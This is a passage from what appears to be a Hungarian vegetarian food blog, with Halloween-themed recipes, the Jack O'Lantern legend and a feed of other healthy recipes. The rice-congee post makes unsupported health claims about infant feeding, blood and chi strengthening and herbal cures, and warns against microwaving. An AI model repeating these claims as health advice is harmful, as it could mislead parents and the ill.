cél érdekében összefognak, díszítenek, jelmezeket készítenek, sütnek, főznek, ünnepelnek, együtt kilátogatnak és megnézik a település által szervezett jelmezes felvonulást, tűzijátékot. Egy újabb nap, egy újabb alkalom, amikor én a közösségi szellemet, a szeretetet, és az élni akarást érzékelem. Azok az emberek, családok, baráti társaságok, akik ilyenkor jelmezbe bújnak, elfeljtkeznek egy pár órára a mindennapi szerepeiktől, feladataikról, problémáikról. Egy kicsit újra gyerek lesz mindenki, és újra a játékról, a szórakozásról, az élni akarásról szól mindent. Nekem ezt jelenti a Halloween! :-) Egy társasági esemény, egy közösségi élmény, telis tele mókával és kacagással! :-) halloweeni csokis pók muffin Ezekben a napokban jól keresnek-e a kereskedők? Ez nem kétség! De nem csak erről szól a Halloween, mint ahogyan a karácsony sem csak az ajándékokról szól, és a vásárlásról! Miért rémisztő és ijesztő jelmezekkel kell ünnepelni a Halloweent? Ennek is egyszerű oka van! A tradíció miatt. A hagyomány szerint az elmúlt évben meghaltak lelkei október 31-éről november 01-ére virradó éjszakán vándorolnak a holtak birodalmába. Az ijesztő dekorációk, jelmezek, a világító töklámpások pedig elősegítik, hogy a holtak szellemei ne maradjanak a Földön kísérteni, megijedjenek, és távozzanak a holtak birodalmába mindörökre. Zöld Avocado boszorkánykonyha Az ijesztő és rémisztő hangulat rosszat tesz-e a gyerekeknek? Nem hinném! Én mosolyt és vidámságot látok az arcukon, bármilyen országban is járok, és élem át a Halloween ünnepét! Én azt látom, hogy örülnek, mert apa-anya együtt szorgoskodik a gyerek jelmezén, a ház dekorálásán, kísérgetik őket házról házra, amíg édességet gyűjtenek, együtt faragják a töklámpásokat, sütögetik a speciális halloweeni ételeket. Én egy családi programot látok, mely szeretetben és harmóniában tellik el! Még nem láttam kisgyermeket sírni, vagy megrémülni a jelmezek láttán. Még nem tapasztaltam ennek az ünnepnek az árny oldalát, amiről az ünnep ellenzői néha beszélnek. Ez nem azt jelenti, hogy nem létezik árny oldala, de én eddig még csak a jó oldalát láttam, és az általa létrehozott szeretetet! :-) Így hát, amikor csak tehetem, én is nagy szeretettel veszek részt egy-egy halloweeni mulatságon, játékos baráti összejövetelen, sürgök-forgok a konyhában, és készítem az alkalomhoz illő, de reform édességeket, ételeket. Most is készült néhány recept a Zöld Avocado vegetáriánus gasztroblog boszorkánykonyhában, amit nagyon szívesen megosztok veletek. Még jól jöhet a következő Halloween party-ra, vagy a rémisztő kiegészítők nélkül, hagyományos, egész évben az asztalra tehető ételeket készíthetünk belőlük. Fogadjátok sok szeretettel őket! ;-) halloweeni sütőtökös keksz (laktózmentes, tojásmentes, vegán) HALLOWEENI SÜTŐTÖKÖS KEKSZ HOZZÁVALÓK (kb. 30 db-hoz) - 400 g sütőtök püré (párolt vagy sült sütőtök húsa kikaparva) - 300 g teljeskiőrlésű tönköly búza liszt - 1 ek őrölt fahéj, 1 tk őrölt szerecsendió, 1 kk őrölt szegfűszeg - 1 tk szódabikarbóna - 1/2 tk Himalája só - 120 g tetszés szerinti édesítőszer (pl.: barna nádcukor, nyírfacukor, eritrit stb.) - 2 ek őrölt lenmag + 6 ek víz (azaz 2 vegán tojás) - 200 ml repce olaj vagy olívaolaj - - csokikrém a dekorációhoz: 50 g olvasztott ét csokoládé és 1 ek kókuszolaj ELKÉSZÍTÉS A természetes tojáshelyettesítőhöz a frissen darált lenmagot elkeverjük a vízben, majd hagyjuk egy 15 percet állni, kocsonyásodni. Ezután mehet bele a tésztába. A hozzávalókat összekeverjük, majd tetszés szerinti formában a sütőpapírra helyezem. Én ezesetben egy nagyobb pogácsa szaggatót használtam. A tészta zsíros, nem lehet kinyújtani és kiszaggatni. Egy evőkanál segítségével megtöltöttem a pogácsa szaggatót, amit a sütőpapírra helyeztem. Majd felemeltem a szaggaótt, odébb helyeztem, kanállal újra töltöttem... és így tovább. A végén csodaszép szabályos, és kerek kekszeket kapunk. Mivel most szerettem volna, hogy töklámpás formája legyen, ezért kézzel kicsit rásegítettem a szép kerek formákra. De ha nincs Halloween, hagyjuk őket szabályos kekszként, és süssük meg őket kb. 10 perc alatt, 180 ° C fokos sütőben. Kihűlés után, nagyon finom, és puha kekszeket majszolhatunk még napok múlva is. Megjegyzés: A sütőtök édes ízétől függően változtathatunk a hozzáadott édesítőszer mennyiségének. Az általam használt mennyiség, édes sütőtök püréhez lett megadva. halloweeni mini pizza oliva pókokkal (gluténmentes, tojásmentes) HALLOWEENI MINI PIZZA HOZZÁVALÓK (kb. 40 db mini pizzához) - kemény sajt - fekete olíva bogyó pizza tésztához: - 350 g gluténmentes kenyérliszt - csipet Himalája só, 1 tk őrölt oreganó - 2 dl langyos víz - 1/2 tk szódabikarbóna - csipet Himalája só - 2 ek extra szűz olívaolaj - 1 ek őrölt lenmag (elhagyható) paradicsomszószhoz: - 200 ml paradicsom püré (cukormentes) - 1 marék friss bazsalikom - Himalája só, őrölt fekete bors, csipet őrölt chili fűszer - 3 gerezd fokhagyma ELKÉSZÍTÉS A pizza tésztához valókat összegyúrjuk, majd félretesszük meleg helyre pihenni 1 órát. A kissé megkelt tésztát ketté választjuk, majd lisztezett deszkán kinyújtjuk. Kör alakú szaggatóval kiszaggatjuk a mini pizzákat, és sütőpapíron előmelegített sütőbe tesszük őket. 180 °C fokon 5 perc alatt elősütjük a kis pizza lapokat, majd kivesszük hűlni. Ezt elvégezzük a másik fél nyers tésztával is. Közben elkészítjük a szószt. A paradicsompürét egy edénybe feltesszük a tűzhelyre forrni. Beleszórjuk az apróra vágott fokhagymát, a fűszereket, és egy marék friss bazsalikom levelet apróra vágva. Közepes lángon 5 percig főzzük, folytonos kevergetés mellett, majd félretesszük a tűzhelyről. Az elősütött mini pizza lapokat vastagon megkenjük a paradicsomszósszal, majd rátesszük a kemény sajtból szaggatóval szaggatott sajt karikákat. Az olíva pókokhoz előre feldaraboljuk a fekete olíva bogyókat. Szükség lesz a póktesthez félbe vágott olíva bogyóra, a lábakhoz, olíva bogyó csíkokra, és a fejhez apróra vágott olíva bogyóra. Ez egy jó kis türelemjáték. Egyesével összeállítani a pókokat a pizza lapocskán. Érdemes segítséget venni magunk mellé, és akár a gyerekeket bevonni, ha nem szeretnénk órákat állni a konyhában. Miután elkészültünk velük, mehet vissza az előmelegített sütőbe, és 180 °C fokon kb. 10-15 perc alatt készre sütjük a mini pizzákat. Tökéletes vendégváró falatka, mert szobahőmérsékleten is nagyon finom, így az est egész ideje alatt lehet belőle jóízűen falatozgatni. Megjegyzés: Próbáljunk meg olyan kemény sajtot választani, ami nem olvad szét túlzottan, mert akkor a gondosan összerakott pókjaink szétcsúsznak. Reszelt parmezánt is használhatunk. halloweeni csokis pók muffin (gluténmentes, laktózmentes) HALLOWEENI NAGYON CSOKIS PÓK MUFFIN HOZZÁVALÓK (kb. 12 db-hoz) - 75 g darált zabpehely (gluténérzékenyeknek szigorúan gluténmentes) - 75 g darált mandula / mandula liszt - 3 ek jó minőségű sötét kakaó por - 80 g tetszés szerinti édesítőszer (pl.: barna nádcukor, nyírfacukor, eritrit stb.) - 1/2 tk szódabikarbóna - csipet Himalája só - 2 marék dió / pekán dió - 100 g ét csokoládé - 100 g bio növényi margarin - 2 db érett banán - 2 db bio tojás dekorációhoz: - aszalt szilva, pók fejnek - fekete szívószál, pók lábaknak - fehér csokoládé, keresztnek a pók hátára ELKÉSZÍTÉSA szilárd hozzávalókat összekeverjük, és beleszórjuk a durvára vágott dió féléket. Egy edényben megolvasztjuk a margarint az összetördelt étcsokoládéval. A banánt leturmixoljuk a tojással, vagy csak villával összetörjük pépessé. A diós szilárd hozzávalókat összekeverjük a pépesített banános tojással, és a vajas folyékony ét csokoládéval. Fakanállal csomómentesre keverjük a muffin tésztát. Elővesszük a muffin sütőt, és beletöltögetjük a muffin papírba a tésztát. (Én még enyhén ki is szoktam kenni a papírokat belülről kókusz olajjal, hogy biztosan könnyedén le tudjam venni majd a kész süteményről.) 180 °c fokra előmelegített sütőben 25 perc alatt készre sütjük a nagyon csokis muffinokat. A szívószálak segítségével lábakat adhatunk a póknak, illetve egy kb. 1,5 cm-es szívószál darab segítségével rögzíthetjük a pók fejét is. Ehhez szükség lesz 1/2 db aszalt szilvára, amit felnyársalunk a szívószál darabkára, és beleszúrjuk a pók testbe, a muffinba. A fehér csokoládét gőz felett felolvasztjuk, és keresztet rajzolunk a pók testre. halloweeni kecskesajtos quinoával töltött paprika (gluténmentes, tojásmentes) HALLOWEENI KECSKESAJTOS QUINOA SALÁTA PAPRIKÁBA TÖLTVE HOZZÁVALÓK (6 db - hoz) - 6 db színes kaliforniai paprika - 1/2 bögre quinoa - 1 bögre tiszta víz - 150 g kecskesajt vagy görög feta sajt - tetszés szerinti zöldségek pl.: 1 marék retek, 1/4 lila hagyma, 1/2 avokádó, 1 bögre előfözött kukorica, 2 szál újhagyma, 1 marék mungóbab csíra - 1 marék dió Himalája só, frissen őrölt fekete bors - sörélesztőpehely (elhagyható) ELKÉSZÍTÉSA quinoát dupla mennyiségű vízben, a rizshez hasonlóan kifőzzük. Fajtától függően elég neki kb. 20 perc. A tetszés szerinti zöldségeket apróra felvágjuk, felkockázzuk a kecskesajtot, vagy feta sajtot, durvára vágjuk a diót, és összekeverjük az egészet egy kevés sóval és borssal. A kihűlt és megfőtt quinoát összekeverjük a zöldséges sajttal, és kész is a töltelék. A megmosott, színes paprikáknak levágjuk a tetejüket, úgy, hogy hozzáférjünk a belsejükhöz. Kézzel kiszedjük a magos csumát, és az ereket. Kitisztítjuk a paprika "fészket". Ha Halloweeni kinézetet szeretnénk, egy kicsi, de hegyes késsel faragjunk szemeket, szájat, és orrot a paprika "arcoknak". A zöldséges, sajtos, quinoa tölteléket bele kanalazzuk a paprikákba, és már tálalhatjuk is a vendégek elé a Halloween-i asztalra. Megjegyzés: A diót minden esetben fogyasztás előtt érdemes min. 24 órára beáztatni, hogy az emésztést gátló enzimgátlók kioldódjanak belőle. Sokkal egésszégesebb lesz így. halloweeni sütésmentes boszi ujjak (gluténmentes, laktózmentes, tojásmentes, hozzáadott cukormentes, nyers, vegán) HALLOWEENI BOSZI UJJAK HOZZÁVALÓKsötétbarna ujjak (kb. 10 db) - 100 g datolya - 2 ek chia mag - 2 ek karob por - 2 ek kókuszolaj - darált mandula, amennyit felvesz (min. 50 g) - "köröm": vágott mandula szeletek világos ujjak (kb. 10 db) - 100 g datolya - 1 db bio citrom reszelt héja (kezeletlen héjú) - 1/2 ek útifűmaghéj - 2 ek kókuszolaj - darált mandula, amennyit felvesz (min. 100 g) - "köröm": héjas egész mandula szemek ELKÉSZÍTÉSA datolyát előző éjjelre áztassuk be, hogy könnyebb legyen vele dolgozni, ne legyen olyan kemény. Amikor készítjük a receptet, tegyük az ázott, áztató víz nélküli datolyát a darálóba, és daráljuk meg egy kicsit. Datolya lekvár szerű állagot szeretnénk kapni. A hozzávalókat tegyük egy tálba a datolya "lekvárral", és kézzel gyúrjuk össze. A darált mandulát fokozatosan adjuk hozzá, annak függvényében, hogy mennyit vesz fel a tészta. A cél, egy gyurmázható, formázható állagú nyers tészta. Ha ezt elértük, sodorjunk a tenyerünkkel "ujj"-szerű rudakat, majd kézzel formázzunk bele ujj csontot. Amint elértük a kívánt külalakot, tegyük rá a "körmöt", majd mehetnek a sütésmentes, mindenmentes, édes, ehető ujjak a fagyasztóba. Fogyasztás előtt tegyük ki őket az asztalra, és kb. 30 perc alatt kiolvadnak, és már ehetőek is a bizarr harapnivaló ujjacskák. ;-) Megjegyzés: Ha nincs Halloween, formázzunk a tésztákból golyókat, és így egész évben fogyasztható egyszerű édességeket kapunk, amit akár napokkal előtte elkészíthetünk, mert a fagyasztóban tárolva eláll. halloweeni friss zöldségsaláta (gluténmentes, laktózmentes, tojásmentes, nyers, vegán) HALLOWEENI FRISS ZÖLDSÉGSALÁTA (gluténmentes, laktózmentes, tojásmentes, nyers, vegán) Ez egy nagyon egyszerű zöldségsaláta, azoknak, akik valami frissre, és energiadúsra vágynak, a sok sok halloweeni nassolás között. Természetes és natúr ízek, hogy felfrissítsük kicsit a gyomrunkat. Önmagában, és köretként is fogyasztható. HOZZÁVALÓK - tetszés szerinti zöldségek pl.: jégsaláta, újhagyma, kígyó uborka, koktél paradicsom, retek, paprika, csíra, avokádó, cékla, alma stb. - tetszés szerinti natúr magok pl.: napraforgómag, tökmag, fenyőmag stb. - egyéb extra íz- és tápanyagérték fokozók pl.: sörélesztőpehely, kendermag stb. (elhagyható) - - dekoráció: Sárgarépa töklámpás, és cukkini szellem ELKÉSZÍTÉSA tetszés szerinti zöldségeket tetszés szerinti méretben felaprítjuk, és összekeverjük. Törekedjünk színes salátát készíteni, és legyen benne lédús zöldség is (pl.: paradicsom.) Adjuk hozzá a tetszés szerinti magokat, vagy super ételeket. A sörélesztőpehely finom, sajtszerű zamatot kölcsönöz a salátáknak. Hagyjuk állni a hűtőben min. egy órát, hogy az ízek jól össze érjenek. Halloweeni hangulathoz készítsünk dekorációt a salátára. Vastagabb (nyers) sárgarépából vágjunk karikákat, és faragjunk belőle töklámpás arcokat. Nyers cukkiniből hosszábban vágjunk le kb. 10 cm hossz, és 0,5 cm magas lapokat. Faragjunk belőle szellemszerű formákat. halloweeni kecskesajtos quinoával töltött paprika TÁPLÁLKOZZUNK, NE CSAK ÉTKEZZÜNK, MÉG HALLOWEEN IDEJÉN IS! ;-) Remélem sikerült néhány ötlettel megajándékozni titeket! A halloweeni formázások nélkül minden itt megjelent recept elkészíthető, hagyományos változatban, az év minden napján. Kellemes konyhatündérkedést, és vidám ünnepeket kívánok! "A töklá mpás legendája Egy ír legenda szerint nevét egy Jack O'Lantern nevű részeges kovácsról kapta. A legenda szerint egy szép napon odament a részeges Jackhez az ördög és hívta a pokolba, de előtte felajánlotta, hogy igyanak még meg egy italt. Jack azonban nem akart vele tartani, ezért hát furfangos cselt eszelt ki. Ravasz módon megkérte, hogy válasszon egy almát az almafájáról, mire az ördög felmászott a fára. Jack tudta, hogy mitől fél az ördög, ezért a fa oldalára egy keresztet rajzolt. Az ördög nagyon megrettent a kereszttől és nem is mert lemászni, kénytelen volt a fa ágán kucorogni. Az ördög addig-addig egyezkedett a furfangos kováccsal, míg az megígértette vele, hogy ha leengedi a fáról, cserébe gondoskodik róla, hogy Jack (aki életében sok rosszat tett) ne kerüljön a pokolba. Jack ekkor megengedte hogy lemásszon a fáról az ördög - aki abban a pillanatban el is tűnt. Azonban amikor Jack meghalt, lelke a menny és a pokol között rekedt: a mennybe nem engedték be, mivel élete során sokat részegeskedett és bűnös módon élt, de az ördög sem akarta a pokolba befogadni, mert nagyon haragudott Jackre a régi csínye miatt. Jack arra kérte az ördögöt, hogy legalább egy kis fényt adjon neki, hogy megtalálja a visszautat az élők világába. Végül az ördög megszánta és egy örökké izzó fadarabot dobott Jacknek a pokol katlana alatt lobogó tűz parazsából, amit nyugtalan lelkének szánt. Az izzó parazsat Jack egy kivájt takarmányrépa (rutabaga, svéd karórépa) belsejébe tette világító lámpásnak, s azóta lelke ennek a takarmányrépa-lámpácskának a fényénél keresi megnyugvását." Forrás: Wikipédia töklámpás fesztivál
Sütőtök chips
Ezzel is tartoztam már magamnak, megint sütöttem tököt, és a maradékból chips készült ;) Nem bántam meg!!!! :D Hozzávalók: 1/4 sütőtök Páchoz: 1 ujjnyi frissen reszelt gyömbér 1 ek kókuszvirágcukor (elhagyható) 1 ek fahéj 1 csipet őrölt szegfűszeg 1 csipet őrölt szerecsendió 1 ek olíva olaj 1 csipetnyi tiszta só A tököt meghámoztam, megmostam, és […]
Trüffel golyók
A napokban láttam meg Gréta receptjét és azonnal tudtam, hogy kipróbálom, ugyanis hegyekben áll a sütőtök a kamrámban ;) Imádom nyersen, sülve és főve, most golyócskáknak is kiválóan debütált ;) Hozzávalók 15-20 golyócskához: 4 szelet sült sonkatök 1/2 bögre zabpehely 1/2 bögre barackmagliszt 1/2 bögre kókuszreszelék 3 ek kókuszvirágcukor 1 pici nyers gyömbér reszelve 1 […]
Almás-marcipános szívecske
Bioboltos barátnőmtől kaptam ajándékba egy zacskó bio barackmag lisztet. Ahogy hazaértem,azonnal megkóstoltam, és megszólalásig hasonlít a mandulára ;) Innen jött az ötlet, hogy valamilyen marcipános finomságot csinálok, mert imádom ;) Hozzávalók az alaphoz: 1 csészényi barackmagliszt 2 ek áztatott dió 2 ek áztatott szotyi 2 ek bio kókuszvirág cukor 1 ek kókuszolaj 1 csipet vanília […]
Vegán karfiolfasírt
2015. október 22. Éltető ételek
Szeretem az ilyen zöldséges fasírtokat, sok lehetőség van benne. A nagylányom nem szereti a karfiolt, a brokkoliról nem is beszélve... de ezt megette. Hozzávalók: - 1 pici fej karfiol - 1/4 fej brokkoli - 2-3 gerezd fokhagyma - 1/2 vöröshagyma - 1 csésze aprószemű zabpehely - 3 evőkanál csicseriborsóliszt - 1/2 csésze forró víz - 1 evőkanál olívaolaj - só, bors, kömény, házi vegeta, petrezselyem Elkészítése: A karfiolt és a brokkolit szedjük rózsáira, és sós vízben főzzük félpuhára. - Szűrjük le, majd krumplinyomóval törjük össze (ne legyen pépes). Ez a mennyiség nekem 2 csészényi volt, így összetörve. - Adjuk hozzá a többi hozzávalót is, majd hagyjuk állni úgy 20-30 percet. - Egy tepsit kenjük ki kókuszolajjal, majd kanalazzuk bele a masszát. - Előmelegített sütőben kb. 30 perc alatt, 180 fokon süssük ki. Félidőben forgassuk meg. Ha gyorsabb sütést szeretnénk, akkor kevés olajon, serpenyőben is megsüthetjük.
Karamellizált hagymás-sajtos sült polenta (vegán)
2015. október 22. Zizi kalandjai
A karamellizált hagyma nagy kedvencem. Csak magában elkészítve is imádom, de akár egy szelet pirítósra rátéve, akár burgonyapürét ízesítve vele… bárhogyan is használjuk fel, csakis finomságot kapunk.
Most polentába tettem, rétegezve, sajttal megszórva. Kaptam egy köret szerű ételt, ami salátával tálalva, akár főételnek is tekinthető. Én összedobtam mellé egy végtelen egyszerű paradicsomos padlizsánragut (fokhagyma, padlizsán, oregánó, bazsalikom, só, bors, paradicsomszósz, olívaolaj). A kettő együtt fenséges ebédet alkotott.
Próbáljátok ki a hosszú hétvégén!
Karamellizált hagymás-sajtos sült polenta (vegán)
Hozzávalók 4 főre:
– 2 bögre kukoricadara
– 2 bögre víz
– 1 bögre zabtej (rizs- és mandulatej is használható)
– 4 fej vöröshagyma, meghámozva, vékonyan felszeletelve
– 150 g sajt (én ilyen vegán olvadósat használtam, persze nem vegán sajttal is elkészíthető), reszelve
– 1 evőkanál kókuszzsír vagy olívaolaj
– só, bors
(A recepthez használt bögre 250 ml-es.)
Egy serpenyőben olvasszuk fel a kókuszzsírt, majd adjuk hozzá a felszeletelt vöröshagymát és szórjuk meg egy csipet sóval (ez hozza elő a hagyma édes ízét). Tegyünk a serpenyőre egy fedőt, vegyük takarékra a lángot és kezdjük el karamellizálni (főzni) a hagymát, alkalmanként keverjük át, hogy ne ragadjon le. Főzzük kb. 20-25 percen keresztül, amíg teljesen puha és világosbarna lesz a hagyma.
Közben egy lábasban forraljuk fel a vizet és a zabtejet. Adjunk hozzá sót, borsot és ha forr, öntsük bele a kukoricadarát. Vegyük takarékra a lángot és folyamatos kevergetés mellett főzzük meg a polentát 8-10 perc alatt (vigyázzunk, mert puffog a kukoricadara!).
Egy tepsit kenjünk ki kevés kókuszzsírral, szedjünk rá egy réteg polentát, majd jöhet rá egy adag karamellizált hagyma, végül a reszelt sajt. Folytassuk az “építést”, amíg minden el nem fogy. Lehetőleg polentával zárjuk és a tetejére tegyünk még reszelt sajtot.
Süssük 180C fokon kb. 25 percig, amíg a sajt ráolvad és a polenta széle kicsit elkezd megbarnulni.
Francia krémes
Beindult a sütőtök szezon, szerencsére tele van vele a kertem, és az mellett, hogy rendkívül egészséges, isteni finom! Nyersen az íze még intenzívebb, édesebb ;) Próbáljátok ki! Hozzávalók: Középső krémhez: 1/2 sonkatök 1 hüvelykujjnyi reszelt friss gyömbér 1 kk vanília 1 ek méz 1 ek kókuszolaj 1 banán 1 tk útifű maghéj 1/2-1 dl datolyalé […]
Vegán, gluténmentes crumble (morzsasüti) - a 10 perces süti
2015. október 14. Eszemiszom – Jóga Magazin
Az internetes szakácskönyvek tele vannak a crumble avagy a morzsasüti több tucat változatával, én nemrég láttam egy ilyen receptmegosztást az egyik közösségi oldalon. Egyszerűsége miatt egyből megtetszett, de az alapanyagok között voltak olyanok, amiket én nem szoktam használni. Nem tartott sokáig, amíg átalakítottam a receptet, és így elkészítettem a vegán, gluténmentes morzsasütit, aminek természetesen ez az egészséges verziója is korlátlanul variálható tovább.
Nekem azért is az egyik kedvencem, mert egyrészt, a sütést leszámítva 10 perc alatt kész :-), másrészt az hozzávalók variálásával egészségesebbé tehető. Ha például mandulaliszttel és/vagy dióliszttel készítem, kitűnő fehérjeforrás, ha mákot teszek bele, vas, kálcium és magnézium tartalma van.
Hozzávalók:
- 20 dkg liszt (mandula, amaránt, zabpehely, gesztenye, bármilyen jó)
- 10 dkg kókuszzsír
- 10 dkg kókuszvirág vagy nádcukor
- 8-10 deka egyéb adalék ízlés szerint; mazsola, darált dió, mogyoró, mák, fahéj, kókusz-chips (ami illik a liszthez és a gyümölcshöz)
- idénygyümölcs; alma, szilva, körte, nyáron piros gyümölcsök, egres, meggy, stb.
Kedvelt párosítások: a gesztenyeliszthez nagyon jól illik a fahéj és a szilva, az almához, körtéhez a jól illik bármelyik liszt és a fahéj, az almához jól illik a mák...
Elkészítés:
Morzsoljunk össze a száraz hozzávalókat, a lisztet, a cukrot, kókuszzsírt és az egyéb adalékokat. Kizsírozott tortaformába vagy kisebb tepsibe daraboljuk fel a gyümölcsöt, majd morzsoljuk rá a tésztánkat. 30 percig süssük előmelegített sütőben alufóliával lefedve, majd vegyük le a fóliát, és pirítsuk még 5 percig.
Jó étvágyat!
Ha van különleges crumble (morzsasüti) recepted, oszd meg velünk!
Fűszeres sütőtök krémleves hideg napokra
Imádom a sütőtököt. Ez volt az egyik ok, amiért kicsit vártam már az őszi napokat. Mikor kint már kezd hűvösre fordulni, jól esik egy tányér finom meleg leves, ami átjár minket egy hosszú nap után. Na ez a leves szerintem pont ilyen. Kellemesen fűszeres, laktató, pirított magokkal és egy pirítóssal főételnek is megfelel. Mikor felvágtam a sütőtököt olyan meglepetés várt belül, amire nem is számítottam. :) A magok csírázásnak indultak, ami annyira jó látvány volt. Csupa élet volt ez a sütőtök, egyenesen anyukám kertjéből. Friss és tápláló, tele vitaminokkal és minden jóval. A sütőtök egyébként tele van C-vitaminnal, gazdag forrása A-vitaminnak, B-vitaminoknak és E-vitaminnak, folsavnak és vasnak is. Hozzávalók: sütőtök oliva olaj kókusz tejszín fűszerek: himalája só, bors, fokhagyma, gyömbér 1. A sütőtököt megtisztítjuk, majd cikkekre vágva megsütjük. 2. A megsült sütőtök darabokról lehúzzuk a héját és egy fazékban felöntjük vízzel, feltesszük főni. 3. Botmixerrel turmixoljuk simára, majd fűszerezzük bátran! Só, frissen őrölt bors, 3 gerezd fokhagyma, friss reszelt gyömbér. Ezután tegyünk hozzá egy fél doboz kókusztejszínt, ami megkoronázza és kiemeli az ízeket. Kiemeli a sütőtök édességét és az erősebb fűszerezést kissé tompítja. Ezzel lesz igazán lágy és selymes, mégis fűszeres, melegítő hatású. Én nem használtam fel az egész tököt, mert elég nagy volt, így is többször ehettünk belőle. Tehát ha kisebb sütőtökből készítjük, nem kell annyi kókusz tejszín sem. Ani
Rizsnyák csecsemőknek, betegeknek és akár sportolóknak is
2015. október 1. Éltető ételek
A babák kiegészítő étele lehet a barnarizs, amely az egyik legegészségesebb természetes és teljes értékű táplálék. Magas a szelén, rost, mangán, magnézium, vas, B1-, B3-, B6-vitamin tartalma, ezenkívül E-, K-vitaminok, esszenciális aminosavak és nyomelemek is vannak benne. A rizsfajták közül az édes barnarizs tartalmazza a legtöbb fehérjét és zsírt. A kínaiak ezt congee-nek (nyáklevesnek) nevezik. Minél tovább fő, (4-6 óra) annál "erősebb" lesz. Ha a rizsnyák levét leszűrjük, italként csecsemők és nagybetegek is fogyaszthatják. Ez az egyszerű rizsleves könnyen emészthető, gyorsan felszívódik, harmonizálja az emésztést. Erősíti a vért és a csí-energiát, hipoallergén. A megadott mennyiségeket egyszerűen pohárral is ki tudjuk mérni. Arra figyeljünk, hogy 1 csésze/adag rizshez 6 csésze/adag tisztított víz szükséges. Amennyiben a rizst megdaráljuk, akkor az hamarabb megfő, de mindenképp frissen őrölt/darált rizst használjunk. Ezt nemcsak a babáknak adhatjuk, az anyukák is ihatják. Ugyanis - többek között - a tejképződést is fokozza. De akár apukák is edzés előtt! Ezt a tápláló ételt nemcsak rizsből készíthetjük el, hanem zabból és kölesből is. Hozzávalók: - 7 dkg édes barnarizs - 6 dl tisztított víz - 1 evőkanál rizsszirup (ez szükséges, hogy ne legyen székrekedés) Kiegészítésként: - 1 teáskanál hántolatlan szezámmag - kevéske (1/4 kávéskanál) finomítatlan kókuszolaj - hígításhoz (kb. 4-5 dl): tisztított víz, nyírfanedv Elkészítése: A rizst és a szezámmagot alaposan mossuk át, majd áztassuk be úgy 6 órára, vagy akár tovább is. Öntsük le róla az áztatóvizet, majd egy csésze gabonához adjunk 6 csésze vizet. Forraljuk fel, majd nagyon lassú lángon - fedő alatt - főzzük úgy 2 óra hosszát. Mint fentebb írtam, minél tovább főzzük, annál táplálóbb és "erősebb" lesz. Az első 1,5 órában nem kell attól tartani, hogy leragad, később viszont érdemes ránézni. Én még egy hőelosztót is tettem a lábas alá, hogy a lehető leglassabb legyen a főzés. Ez egy sűrű kása, amit akár így is meg lehet enni. Amennyiben iható állagot szeretnénk elérni, akkor hígítsuk kb. 4-5 dl folyadékkal (nyírfanedvvel vagy vízzel) Pürésítsük, majd szitán jól nyomkodjuk át. A végeredmény: 1 liter kész tápláló rizsital. Tegyük bele a rizsszirupot és a kókuszolajat. A congee gyógyértékét fokozhatjuk (persze csak nagyobb gyerekeknek, felnőtteknek), hogy különböző zöldségeket/gyógyfüveket főzünk hozzá. Mivel a rizs önmagában erősíti a lép-hasnyálmirigy emésztőközpontot, ezért a hozzáadott táplálékok sokkal jobban felszívódnak, hatásuk felerősödik. - adzukibab : vízhajtó, köszvény ellen - édeskömény : puffadás, gázosodás - édesrizs : hányásra, hasmenésre, gyomorrontásra (ezért kell bele a rizsszirup a fenti receptben, nehogy székrekedés legyen) - gyömbér : emésztési zavarok, hasmenés, vérszegénység, hányás - mungóbab : hűt, csökkenti a lázat, csillapítja a szomjúságot - mustár : köptet, megszünteti a gyomor teltségét porcsin: méregtelenít, reumára és duzzanatokra - sárgarépa : segíti az emésztést, megszünteti a puffadást - szezámmag : nedvesíti a beleket Még azt megjegyezném, hogy az elkészített italt semmiképp NE mikrózzuk, és ha van rá lehetőség, akkor lángon (tehát ne elektromos tűzhelyen) főzzük. Erről itt írtam, hogy miért is van ennek jelentősége. Felhasznált irodalom: Pitchford, Paul: Gyógyító táplálkozás. - Budapest: Édesvíz kiadó
Húsmentes lasagne bolognese
2015. szeptember 30. Éltető ételek
Az ételeket én sosem szoktam pontosan a recept alapján elkészíteni, gyakran mondja is a párom, hogy sosincs két egyforma étel. Sok esetben ez baj, mert amelyik ízlik neki, már nem emlékszik rá később (én sem), csak 1-2 alapanyagot mond belőle, hogy "na, azt készítsd el". Ezért csináltam egy itthoni szakácskönyvet fotókkal ellátva, hogy így könnyebben tudjon választani az ételek közül. Ma délelőtt még csak annyit tudtam, hogy valamilyen lasagnet fogok készíteni. Ilyen esetben keresgélek a neten egy kicsit, melyet aztán egyszerűen egészségessé és húsmentessé varázsolok. A streetkichen nagyon jó ötletadó, bár ezeket a recepteket pontos leírással sosem készítem el. A húst legtöbbször gombával, csicseriborsóval, vöröslencsével vagy éppen zabpehellyel helyettesítem, a lisztek és egyéb alapanyagok cseréjére is szinte minden esetben szükség van. Az édességes receptekben lévő cukrot pedig alapból felezem, és mézre vagy kókuszvirágcukorra cserélem. Szóval ez lett a mai ebéd, nagyon jól sikerült. Hozzávalók (2-3 adag): "Húsos" szósz - 1 evőkanál kókuszolaj - 1 vöröshagyma - 3 gerezd fokhagyma - 10 dkg tisztított sárgarépa - 10 dkg tisztított padlizsán - 1 szárzeller - 10 dkg áztatott csicseriborsó - 40 dkg paradicsom pürésítve - 2-3 evőkanál aprószemű zabpehely - 1 babérlevél - bazsalikom, oregano, rozmaring - 1 löttyintésnyi vörösbor - víz Besamell: - 3 dkg bio vaj vagy kókuszolaj - 6 dkg zabliszt - 4 dl rizstej - só, babérlevél, őrölt szerecsendió, bors - 1 doboz lasagne (tojásmentes) Elkészítése: A kókuszolajon dinszteljük meg az apróra vágott hagymát.Aprítsuk morzsásra a zöldségeket (sárgarépa, zeller, padlizsán), majd dobjuk rá a hagymára. Pirítsuk együtt pár percig.Szintén daráljuk morzsásra az áztatott csicseriborsót (nekem a botmixerhez van egy aprítógép, azzal szoktam csinálni).Folytassuk tovább a pirítást, majd mehet hozzá a turmixolt paradicsom (vagy házi, sűrű paradicsomöntet), és reszeljük bele a fokhagymát is.Fűszerezzük, mehet bele a bor, és még öntsünk hozzá úgy 2 dl vizet.Lefedve főzzük 30 percig (időközben kavargasd).Adjuk hozzá a zabpelyhet, ha szükséges, még hígítsuk vízzel. Egy nagyon jó sűrű ragu lesz belőle, melyet akár spagettivel is tálalhatunk. A zabpehely úgy 10 perc alatt megpuhul, és még tovább sűrít a ragun.Közben készítsük el a besamellt is. Olvasszuk fel a vajat, majd a lisztet egy picikét pirítsuk meg benne (éppen csak, hogy színe legyen). Folyamatos keverés mellett öntsük rá a tejet, fűszerezzük, és főzzük sűrűre. Ez kb. 5 perc alatt elkészül.Állítsuk össze a lasagnet. A tepsibe löttyintsünk egy kicsi olívaolajat, majd tegyünk 